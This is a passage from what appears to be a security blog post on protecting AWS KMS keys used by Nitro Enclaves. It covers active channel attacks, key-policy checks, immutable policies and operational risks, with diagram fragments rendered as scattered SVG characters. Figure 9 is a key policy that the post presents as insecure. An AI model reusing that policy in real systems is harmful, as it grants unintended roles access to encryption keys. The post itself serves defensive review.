<polygon points="64.000000,320.000000 52.000000,314.399994 52.000000,325.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 320.000000)"></polygon>
<polygon points="120.000000,288.000000 108.000000,282.399994 108.000000,293.600006" fill="currentColor" transform="rotate(0.000000, 112.000000, 288.000000)"></polygon>
<polygon points="256.000000,64.000000 244.000000,58.400002 244.000000,69.599998" fill="currentColor" transform="rotate(0.000000, 248.000000, 64.000000)"></polygon>
<polygon points="256.000000,368.000000 244.000000,362.399994 244.000000,373.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 368.000000)"></polygon>
<polygon points="272.000000,176.000000 260.000000,170.399994 260.000000,181.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 176.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="64" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="64" y="52" fill="currentColor">(</text>
<text text-anchor="middle" x="64" y="212" fill="currentColor">{</text>
<text text-anchor="middle" x="72" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="72" y="52" fill="currentColor">c</text>
<text text-anchor="middle" x="72" y="212" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="80" y="52" fill="currentColor">m</text>
<text text-anchor="middle" x="80" y="212" fill="currentColor">_</text>
<text text-anchor="middle" x="88" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="88" y="52" fill="currentColor">k</text>
<text text-anchor="middle" x="88" y="212" fill="currentColor">a</text>
<text text-anchor="middle" x="88" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="88" y="308" fill="currentColor">C</text>
<text text-anchor="middle" x="96" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="96" y="52" fill="currentColor">_</text>
<text text-anchor="middle" x="96" y="100" fill="currentColor">D</text>
<text text-anchor="middle" x="96" y="212" fill="currentColor">,</text>
<text text-anchor="middle" x="96" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="308" fill="currentColor">=</text>
<text text-anchor="middle" x="104" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="104" y="52" fill="currentColor">i</text>
<text text-anchor="middle" x="104" y="100" fill="currentColor">a</text>
<text text-anchor="middle" x="104" y="212" fill="currentColor">E</text>
<text text-anchor="middle" x="104" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="104" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="356" fill="currentColor">s</text>
<text text-anchor="middle" x="112" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="52" fill="currentColor">d</text>
<text text-anchor="middle" x="112" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="212" fill="currentColor">_</text>
<text text-anchor="middle" x="112" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="112" y="308" fill="currentColor">n</text>
<text text-anchor="middle" x="112" y="356" fill="currentColor">t</text>
<text text-anchor="middle" x="120" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="120" y="52" fill="currentColor">,</text>
<text text-anchor="middle" x="120" y="100" fill="currentColor">a</text>
<text text-anchor="middle" x="120" y="212" fill="currentColor">d</text>
<text text-anchor="middle" x="120" y="276" fill="currentColor">a</text>
<text text-anchor="middle" x="120" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="120" y="356" fill="currentColor">o</text>
<text text-anchor="middle" x="128" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="128" y="52" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="212" fill="currentColor">k</text>
<text text-anchor="middle" x="128" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="128" y="292" fill="currentColor">d</text>
<text text-anchor="middle" x="128" y="308" fill="currentColor">(</text>
<text text-anchor="middle" x="128" y="356" fill="currentColor">r</text>
<text text-anchor="middle" x="136" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="136" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="136" y="100" fill="currentColor">k</text>
<text text-anchor="middle" x="136" y="212" fill="currentColor">}</text>
<text text-anchor="middle" x="136" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="136" y="292" fill="currentColor">k</text>
<text text-anchor="middle" x="136" y="308" fill="currentColor">d</text>
<text text-anchor="middle" x="136" y="356" fill="currentColor">e</text>
<text text-anchor="middle" x="144" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="144" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="144" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="144" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="144" y="308" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="356" fill="currentColor">(</text>
<text text-anchor="middle" x="152" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="152" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="152" y="100" fill="currentColor">y</text>
<text text-anchor="middle" x="152" y="276" fill="currentColor">s</text>
<text text-anchor="middle" x="152" y="308" fill="currentColor">,</text>
<text text-anchor="middle" x="152" y="356" fill="currentColor">E</text>
<text text-anchor="middle" x="160" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="160" y="52" fill="currentColor">s</text>
<text text-anchor="middle" x="160" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="160" y="308" fill="currentColor">P</text>
<text text-anchor="middle" x="160" y="356" fill="currentColor">_</text>
<text text-anchor="middle" x="168" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="168" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="168" y="100" fill="currentColor">r</text>
<text text-anchor="middle" x="168" y="276" fill="currentColor">_</text>
<text text-anchor="middle" x="168" y="308" fill="currentColor">)</text>
<text text-anchor="middle" x="168" y="356" fill="currentColor">d</text>
<text text-anchor="middle" x="176" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="176" y="52" fill="currentColor">_</text>
<text text-anchor="middle" x="176" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="176" y="276" fill="currentColor">p</text>
<text text-anchor="middle" x="176" y="356" fill="currentColor">k</text>
<text text-anchor="middle" x="184" y="52" fill="currentColor">p</text>
<text text-anchor="middle" x="184" y="100" fill="currentColor">p</text>
<text text-anchor="middle" x="184" y="276" fill="currentColor">r</text>
<text text-anchor="middle" x="184" y="356" fill="currentColor">,</text>
<text text-anchor="middle" x="192" y="52" fill="currentColor">u</text>
<text text-anchor="middle" x="192" y="100" fill="currentColor">l</text>
<text text-anchor="middle" x="192" y="276" fill="currentColor">i</text>
<text text-anchor="middle" x="192" y="356" fill="currentColor">C</text>
<text text-anchor="middle" x="200" y="52" fill="currentColor">b</text>
<text text-anchor="middle" x="200" y="100" fill="currentColor">a</text>
<text text-anchor="middle" x="200" y="276" fill="currentColor">v</text>
<text text-anchor="middle" x="200" y="356" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="52" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="100" fill="currentColor">y</text>
<text text-anchor="middle" x="208" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="216" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="216" y="276" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="224" y="100" fill="currentColor">a</text>
<text text-anchor="middle" x="224" y="276" fill="currentColor">_</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="232" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="232" y="276" fill="currentColor">a</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="240" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="240" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="248" y="100" fill="currentColor">a</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="256" y="100" fill="currentColor">c</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="100" fill="currentColor">k</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="132" fill="currentColor">d</text>
<text text-anchor="middle" x="296" y="148" fill="currentColor">E</text>
<text text-anchor="middle" x="296" y="164" fill="currentColor">E</text>
<text text-anchor="middle" x="304" y="132" fill="currentColor">k</text>
<text text-anchor="middle" x="304" y="148" fill="currentColor">_</text>
<text text-anchor="middle" x="304" y="164" fill="currentColor">_</text>
<text text-anchor="middle" x="312" y="132" fill="currentColor">=</text>
<text text-anchor="middle" x="312" y="148" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="164" fill="currentColor">d</text>
<text text-anchor="middle" x="320" y="132" fill="currentColor">r</text>
<text text-anchor="middle" x="320" y="148" fill="currentColor">=</text>
<text text-anchor="middle" x="320" y="164" fill="currentColor">k</text>
<text text-anchor="middle" x="328" y="132" fill="currentColor">a</text>
<text text-anchor="middle" x="328" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="164" fill="currentColor">=</text>
<text text-anchor="middle" x="336" y="132" fill="currentColor">n</text>
<text text-anchor="middle" x="336" y="148" fill="currentColor">n</text>
<text text-anchor="middle" x="336" y="164" fill="currentColor">r</text>
<text text-anchor="middle" x="344" y="132" fill="currentColor">d</text>
<text text-anchor="middle" x="344" y="148" fill="currentColor">c</text>
<text text-anchor="middle" x="344" y="164" fill="currentColor">a</text>
<text text-anchor="middle" x="352" y="132" fill="currentColor">o</text>
<text text-anchor="middle" x="352" y="148" fill="currentColor">(</text>
<text text-anchor="middle" x="352" y="164" fill="currentColor">n</text>
<text text-anchor="middle" x="360" y="132" fill="currentColor">m</text>
<text text-anchor="middle" x="360" y="148" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="164" fill="currentColor">d</text>
<text text-anchor="middle" x="368" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="368" y="148" fill="currentColor">t</text>
<text text-anchor="middle" x="368" y="164" fill="currentColor">o</text>
<text text-anchor="middle" x="376" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="376" y="148" fill="currentColor">t</text>
<text text-anchor="middle" x="376" y="164" fill="currentColor">m</text>
<text text-anchor="middle" x="384" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="384" y="164" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="148" fill="currentColor">s</text>
<text text-anchor="middle" x="392" y="164" fill="currentColor">)</text>
<text text-anchor="middle" x="400" y="148" fill="currentColor">t</text>
<text text-anchor="middle" x="408" y="148" fill="currentColor">_</text>
<text text-anchor="middle" x="416" y="148" fill="currentColor">p</text>
<text text-anchor="middle" x="424" y="148" fill="currentColor">u</text>
<text text-anchor="middle" x="432" y="148" fill="currentColor">b</text>
<text text-anchor="middle" x="440" y="148" fill="currentColor">,</text>
<text text-anchor="middle" x="448" y="148" fill="currentColor">d</text>
<text text-anchor="middle" x="456" y="148" fill="currentColor">k</text>
<text text-anchor="middle" x="464" y="148" fill="currentColor">)</text>
<text text-anchor="middle" x="488" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="496" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="504" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>

</div>

</div>
 <figcaption><span>Figure 8: Active attacks on CMK and DK.</span></figcaption>
 </figure>
<p>These vulnerabilities are basically unsolvable without a secure communication channel. Therefore,
TLS initiated inside the enclave is required if active attacks are in scope. For the
enclave-initiated TLS solution to be secure, the enclave’s CA set must be limited; ideally, the KMS’
CA certificate (Amazon’s) is attested and pinned.</p>
<p>With this setup, the active attacker threat may be considered prevented. Note that having a secure
communication channel implicitly prevents some of the possible vulnerabilities described in the
“passive attacks” section.</p>
<p>KMS terminates TLS outside of HSM (<a href="https://docs.aws.amazon.com/kms/latest/cryptographic-details/internal-communication-security.html">most
likely</a>),
and the attestation’s pubkey encryption is probably done outside of HSM. This makes it impossible to
have an end-to-end TLS channel between enclave and HSM, and AWS insiders may theoretically
constitute an active attacker threat. Your threat model should account for this possibility.</p>
<p>To further protect the communication channel, <a href="https://docs.aws.amazon.com/kms/latest/developerguide/kms-vpc-endpoint.html">VPC can be
used</a>. This ensures
that traffic never leaves AWS infrastructure and generally isolates the parent EC2 at the network
level. Moreover, key policy can <a href="https://docs.aws.amazon.com/kms/latest/developerguide/vpce-policy-condition.html">authorize requests based on the
VPC</a>. This makes
attacks easier to detect in case of stolen IAM credentials; this is valuable even if key access is
authorized via PCRs, as demonstrated in the previous sections.</p>
<h2>KMS policies</h2>
<p>Correctly authorizing access to CMK keys is critical. The list below includes basic checks for your
KMS key policy. <a href="https://docs.aws.amazon.com/kms/latest/developerguide/iam-policies-best-practices.html">AWS’ recommendations for IAM
policies</a>
provides more generic advice.</p>
<ul>
<li> Configured KMS policy authorizes enclaves in a reasonable way.
<ul>
<li> No unexpected IAM roles have or can get access.</li>
<li> PCR0 is used for authorization. PCRs 1-2 are used for defense in depth. Alternatively, PCR8
is used.</li>
<li> Principal for <code>RecipientAttestation</code> is not a wildcard.</li>
<li> PCR3 is used to restrict by EC2 IAM role.</li>
<li> <a href="https://docs.aws.amazon.com/kms/latest/developerguide/conditions-kms.html#conditions-kms-encryption-context"><code>kms:EncryptionContext</code></a>
condition is used when relevant.</li>
</ul>
</li>
<li> For critical key operations (e.g., deletion) the policy requires MFA.</li>
<li> TLS and VPC restrictions are considered.</li>
<li> For end-to-end security, the clients can verify that the enclave uses correct and properly
secured KMS keys.
<ul>
<li> Immutable key policies are likely not possible, and clients must be aware of this.</li>
</ul>
</li>
</ul>
<p>Of course, the exact CMK policy setup is business-dependent. Generally, you should ensure that the
key can be managed only by the expected IAM principal, and the principal doesn’t have access to
<code>Decrypt</code> operation (and possibly others like <code>GenDataKeys</code> and <code>Encrypt</code>).</p>
<p>The figure below shows an interesting example of a vulnerable key policy that violates the “only
expected IAM principal” check. One may assume that only the root user and the enclave can operate on
the key, but this is incorrect: the first policy entry grants full access to any IAM role that has
access to the key configured in the role’s policy. The fix is to use a specific IAM user or role
instead of root or to add an explicit deny statement for non-root users.</p>
<figure class="highlight">
 <pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">[</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Sid"</span><span class="p">:</span> <span class="s2">"Enable IAM User Permissions"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Effect"</span><span class="p">:</span> <span class="s2">"Allow"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Principal"</span><span class="p">:</span> <span class="p">{</span> <span class="nt">"AWS"</span><span class="p">:</span> <span class="s2">"arn:aws:iam::599412696120:root"</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Action"</span><span class="p">:</span> <span class="s2">"kms:*"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Resource"</span><span class="p">:</span> <span class="s2">"*"</span>
</span></span><span class="line"><span class="cl"> <span class="p">},</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Sid"</span><span class="p">:</span> <span class="s2">"Allow Nitro Enclave KMS operations with PCR0 lock"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Effect"</span><span class="p">:</span> <span class="s2">"Allow"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Principal"</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"AWS"</span><span class="p">:</span> <span class="s2">"arn:aws:iam::599412696120:role/NitroEnclaveKMSRole"</span>
</span></span><span class="line"><span class="cl"> <span class="p">},</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Action"</span><span class="p">:</span> <span class="p">[</span><span class="s2">"kms:Decrypt"</span><span class="p">,</span> <span class="s2">"kms:GenerateDataKey"</span><span class="p">,</span> <span class="s2">"kms:GenerateDataKeyPair"</span><span class="p">],</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Resource"</span><span class="p">:</span> <span class="s2">"*"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Condition"</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"StringEqualsIgnoreCase"</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"kms:RecipientAttestation:PCR0"</span><span class="p">:</span> <span class="s2">"00a119d1...0ed55"</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span></span></span></code></pre>
 <figcaption><span>Figure 9: Example policy that is likely to be insecure.</span></figcaption>
</figure>
<p>For the PCRs, you want to use PCR0, as it binds the policy to specific enclave code. Additionally,
using PCRs 1-2 is recommended for the reasons stated in <a href="https://blog.trailofbits.com/2024/09/24/notes-on-aws-nitro-enclaves-attack-surface/">our blog post on the Nitro Enclaves attack
surface</a>. Alternatively, you can use
PCR8, which allows updating the enclave code without needing to update key policy. This allows more
restricted access to key policy modification permission at the cost of managing the signing key.</p>
<p>The <code>Principal</code> field and PCR3 measurement provide further restrictions. <code>Principal</code> is used to
authorize the IAM role used to access KMS, while PCR3 is measured by hypervisor at the time of
attestation request based on EC2 role. The EC2 role can be dynamically changed and should be
considered untrusted from the enclave’s perspective. Yet both <code>Principal</code> and PCR3 can be used to
prevent attackers from running (signed) enclaves on their own EC2 instance (which could make
side-channel attacks easier) and accessing the KMS key.</p>
<p>Access to the key can be further improved with TLS and VPC restrictions. VPC can be enforced with
<code>aws:SourceVpc</code> and similar condition keys. TLS can be enforced with the <code>aws:SecureTransport</code>
condition (although this condition is redundant, as it’s not possible to access the KMS API with
plain HTTP).</p>
<p>As the key has to be manageable by some IAM role (at least to allow key deletion), the
<code>aws:MultiFactorAuthPresent</code> and <code>aws:MultiFactorAuthAge</code> conditions can be used to strengthen the
authorization.</p>
<h2>KMS policy end-to-end verification</h2>
<p>So far, our discussion has focused on how to secure the KMS keys. A much more difficult problem
arises when you want your system to provide end-to-end verifiability to end-users. If enclaves can
be reproducibly built and remotely attested by users, then users likely have to validate that the
KMS keys are properly protected, too. Otherwise, a malicious insider can pass remote attestation
(not modify enclave code), yet use KMS directly with IAM permissions to get full access to the keys.</p>
<p>One solution is to hardcode the hash of the key policy in the enclave, provide full policy along
with enclave’s code to clients, and make the enclave validate the hash against the dynamically
obtained policy before sending attestation-protected requests to the KMS. This requires the enclave
to have <code>kms:GetKeyPolicy</code> and <code>kms:DescribeKey</code> permissions.</p>
<p>This alone doesn’t prevent attacks. A malicious IAM user can dynamically change the policy after the
enclave’s verification. To prevent this, the policy has to be made immutable, which can be achieved
by blocking <code>kms:PutKeyPolicy</code> permission for all users. Note that
<a href="https://docs.aws.amazon.com/cli/latest/reference/kms/put-key-policy.html"><code>--bypass-policy-lockout-safety-check</code>
flag</a> is required to
insert such a statement via CLI.</p>
<figure class="highlight">
 <pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Sid"</span><span class="p">:</span> <span class="s2">"DenyPutKeyPolicyForAll"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Effect"</span><span class="p">:</span> <span class="s2">"Deny"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Principal"</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"AWS"</span><span class="p">:</span> <span class="s2">"*"</span>
</span></span><span class="line"><span class="cl"> <span class="p">},</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Action"</span><span class="p">:</span> <span class="s2">"kms:PutKeyPolicy"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Resource"</span><span class="p">:</span> <span class="s2">"*"</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre>
 <figcaption><span>Figure 10: Example policy that prevents key policy changes.</span></figcaption>
</figure>
<p>Locking access by PCR0 and denying all <code>kms:PutKeyPolicy</code> operations makes the system quite
immutable. This has the obvious downside of making updates and bug fixes difficult. As mentioned
earlier, the specific setup must be adjusted based on business requirements.</p>
<p>Note that key owners can always <a href="https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html#:~:text=Reduces%20the%20risk%20of%20the%20KMS%20key%20becoming%20unmanageable">contact AWS support to restore default key
policies</a>.
How AWS authenticates such requests <a href="https://repost.aws/questions/QUV7ubqz8ETRCOxHSuSH6zDQ/unable-to-delete-kms-customer-managed-key-cmk-using-administratoraccess-role-or-root-login-credentials#ANQjr27vimRP6DEYTiZDgxsw">I do not
know</a>,
but AWS likely won’t check if the key is used in an enclave-enabled setup. This makes a system with
full end-to-end trust hard to implement.</p>
<figure>
<blockquote>
For example, suppose you create a key policy that gives only one user access to the KMS key. If
you then delete that user, the key becomes unmanageable and you must contact AWS Support to regain
access to the KMS key.
</blockquote>
<figcaption><span>Figure 11: Quote from AWS documentation.</span></figcaption>
</figure>
<p>Finally, consider implementing publicly observable and verifiable monitoring and alerting for key
policies. Such a system would alert end users when a policy changes, mitigating the impact of policy
restoration by AWS support. However, we are not aware of any “Certificate Transparency”-style
public, append-only log for KMS key policies that an external party can independently verify.</p>
<h2>Operational concerns</h2>
<p>Even if the system is secure point-in-time, there are operations that must be periodically
performed. These introduce new risks into the system. This checklist covers these concerns:</p>
<ul>
<li> Key rotation and revocation is implemented for CMK.
<ul>
<li> <code>ReEncrypt</code> operation is not used for data keys.</li>
</ul>
</li>
<li> Backups:
<ul>
<li> Risks from CMK destruction are mitigated.</li>
<li> Regional outages are considered.</li>
<li> Data keys are backed up as needed.</li>
</ul>
</li>
<li> Users cannot cause a denial of service or balloon the bill.
<ul>
<li> The number of user-triggered KMS operations is limited.</li>
<li> Request quotas are considered.</li>
<li> Limits on data lengths are respected.</li>
<li> KMS’s clients take into account delays in KMS updates.</li>
</ul>
</li>
</ul>
<p><a href="https://docs.aws.amazon.com/kms/latest/developerguide/rotate-keys.html">AWS provides mechanisms</a> to
easily rotate CMK keys. The only item to note here is that rotating a compromised CMK does not make
data keys protected by it non-decryptable. For a CMK <em>revocation</em>, a more involved approach than
just rotating CMK and destroying data keys must be implemented.</p>
<p>Rotating data keys is hard to implement securely, as the KMS
<a href="https://docs.aws.amazon.com/kms/latest/APIReference/API_ReEncrypt.html"><code>ReEncrypt</code></a> operation does
not support attestations. The system should be designed so that such rotations are not needed.</p>
<p>A malicious actor deleting CMK keys permanently creates a risk of non-recoverable system state. The
system’s design can sometimes be made so that destruction of a single key is recoverable (e.g., by
setting up key hierarchy and using secret sharing). Nevertheless, there should be security controls
in place mitigating the risk. First, configure a <a href="https://docs.aws.amazon.com/kms/latest/APIReference/API_ScheduleKeyDeletion.html">scheduled deletion
period</a> for keys
to a time in which your team can act on an incident. Set up <a href="https://docs.aws.amazon.com/kms/latest/developerguide/deleting-keys-creating-cloudwatch-alarm.html">CloudWatch alarms for KMS
keys</a>
for deletion events, and tighten IAM policies with <a href="https://asecure.cloud/a/scp_kms_delete_keys/">Service Control Policies that prevent KMS key
deletion</a>.</p>
<p>Single-machine disasters in AWS infrastructure are not a concern, as single-region KMS keys are
<a href="https://docs.aws.amazon.com/kms/latest/developerguide/disaster-recovery-resiliency.html">replicated within the
region</a> in
multiple Availability Zones in multiple HSMs. However, if the system must be resilient to a regional
outage, <a href="https://docs.aws.amazon.com/kms/latest/developerguide/multi-region-keys-overview.html">multi-region
keys</a> should
be used instead of single-region keys.</p>
<p>Encrypted data keys backups are a responsibility of the system, not AWS. Note that the <a href="https://docs.aws.amazon.com/kms/latest/developerguide/unusable-kms-keys.html">CMK key may
become unusable in a few
scenarios</a>, and the
data key backup system must account for this.</p>
<p>Yet another set of risks relates to billing. AWS charges dollars per KMS operations and CMK key
maintenance, so the system must not let end-users make the enclaves send arbitrary many requests to
KMS. When implementing rate-limits, <a href="https://docs.aws.amazon.com/kms/latest/developerguide/requests-per-second.html">KMS
quotas</a> must be
taken into account.</p>
<p>Inputs to KMS have various size limits. For example, plaintexts can be up to 4096 bytes long,
ciphertexts can be up to 6144 bytes long, and key IDs can be up to 2048 bytes long. These limits are
unlikely to be reached with attestation-supported operations, but still should be considered.</p>
<p>Finally, changes to KMS resources <a href="https://docs.aws.amazon.com/kms/latest/developerguide/accessing-kms.html#programming-eventual-consistency">need some time to propagate and
synchronize</a>
inside AWS infrastructure. Your system must expect delays and possible temporary inconsistencies
when requesting KMS.</p>
<h2>Software and SDKs</h2>
<p>Amazon ships a lot of SDKs for various tasks. Among them is
<a href="https://github.com/aws/aws-nitro-enclaves-sdk-c"><code>aws-nitro-enclaves-sdk-c</code></a> that provides tools
and a library for enclaves-KMS communication. Avoid it: this particular SDK is written in C, and we
found it contains vulnerabilities that can be used to exploit enclaves from the parent host.</p>
<p>Rather than using the <code>aws-nitro-enclaves-sdk-c</code>, we recommend a combination of other libraries,
such as the following:</p>
<ul>
<li><a href="https://github.com/aws/aws-nitro-enclaves-nsm-api"><code>aws-nitro-enclaves-nsm-api</code></a> (in Rust) to get
attestation documents</li>
<li><a href="https://docs.aws.amazon.com/boto3/latest/reference/services/kms.html"><code>KMS.Client</code> from Boto3</a>
(in Python) to communicate with KMS</li>
<li>Any cryptographic library to parse and decrypt responses</li>
</ul>
<h2>Final notes</h2>
<p>Many issues can arise from misusing the KMS within enclave-secured systems. This blog post does not
even cover all supported operations (<code>GenerateDataKeyPair</code>, <code>DeriveSharedSecret</code>), possible
vulnerabilities (key reuse, key wearout, forward secrecy, nonce management, …) and system features
(custom key stores, multi-region keys, …). Make sure to document your system’s protocol, have a
cryptographer review it, and check the actual implementation against it.</p>
<h2>Appendix A</h2>
<p>Data formats of the <code>CiphertextBlob</code> and <code>CiphertextForRecipient</code> structures are presented below.</p>

<figure>
<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 632 361">
 <g transform="translate(8,16)">
<path d="M 248,288 L 248,304" fill="none" stroke="currentColor"></path>
<path d="M 256,280 L 256,296" fill="none" stroke="currentColor"></path>
<circle cx="336" cy="304" r="6" stroke="currentColor" fill="#fff"></circle>
<text text-anchor="middle" x="0" y="4" fill="currentColor">[</text>
<text text-anchor="middle" x="0" y="20" fill="currentColor">[</text>
<text text-anchor="middle" x="0" y="68" fill="currentColor">[</text>
<text text-anchor="middle" x="0" y="84" fill="currentColor">[</text>
<text text-anchor="middle" x="0" y="100" fill="currentColor">[</text>
<text text-anchor="middle" x="0" y="116" fill="currentColor">[</text>
<text text-anchor="middle" x="0" y="132" fill="currentColor">[</text>
<text text-anchor="middle" x="8" y="4" fill="currentColor">0</text>
<text text-anchor="middle" x="8" y="20" fill="currentColor">4</text>
<text text-anchor="middle" x="8" y="68" fill="currentColor">3</text>
<text text-anchor="middle" x="8" y="84" fill="currentColor">3</text>
<text text-anchor="middle" x="8" y="100" fill="currentColor">3</text>
<text text-anchor="middle" x="8" y="116" fill="currentColor">5</text>
<text text-anchor="middle" x="8" y="132" fill="currentColor">5</text>
<text text-anchor="middle" x="16" y="4" fill="currentColor">:</text>
<text text-anchor="middle" x="16" y="20" fill="currentColor">:</text>
<text text-anchor="middle" x="16" y="68" fill="currentColor">6</text>
<text text-anchor="middle" x="16" y="84" fill="currentColor">7</text>
<text text-anchor="middle" x="16" y="100" fill="currentColor">8</text>
<text text-anchor="middle" x="16" y="116" fill="currentColor">4</text>
<text text-anchor="middle" x="16" y="132" fill="currentColor">8</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">4</text>
<text text-anchor="middle" x="24" y="20" fill="currentColor">3</text>
<text text-anchor="middle" x="24" y="68" fill="currentColor">]</text>
<text text-anchor="middle" x="24" y="84" fill="currentColor">]</text>
<text text-anchor="middle" x="24" y="100" fill="currentColor">:</text>
<text text-anchor="middle" x="24" y="116" fill="currentColor">:</text>
<text text-anchor="middle" x="24" y="132" fill="currentColor">:</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">]</text>
<text text-anchor="middle" x="32" y="20" fill="currentColor">6</text>
<text text-anchor="middle" x="32" y="100" fill="currentColor">5</text>
<text text-anchor="middle" x="32" y="116" fill="currentColor">5</text>
<text text-anchor="middle" x="32" y="132" fill="currentColor">]</text>
<text text-anchor="middle" x="40" y="20" fill="currentColor">]</text>
<text text-anchor="middle" x="40" y="100" fill="currentColor">4</text>
<text text-anchor="middle" x="40" y="116" fill="currentColor">8</text>
<text text-anchor="middle" x="48" y="100" fill="currentColor">]</text>
<text text-anchor="middle" x="48" y="116" fill="currentColor">]</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">V</text>
<text text-anchor="middle" x="64" y="20" fill="currentColor">H</text>
<text text-anchor="middle" x="64" y="68" fill="currentColor">A</text>
<text text-anchor="middle" x="64" y="84" fill="currentColor">T</text>
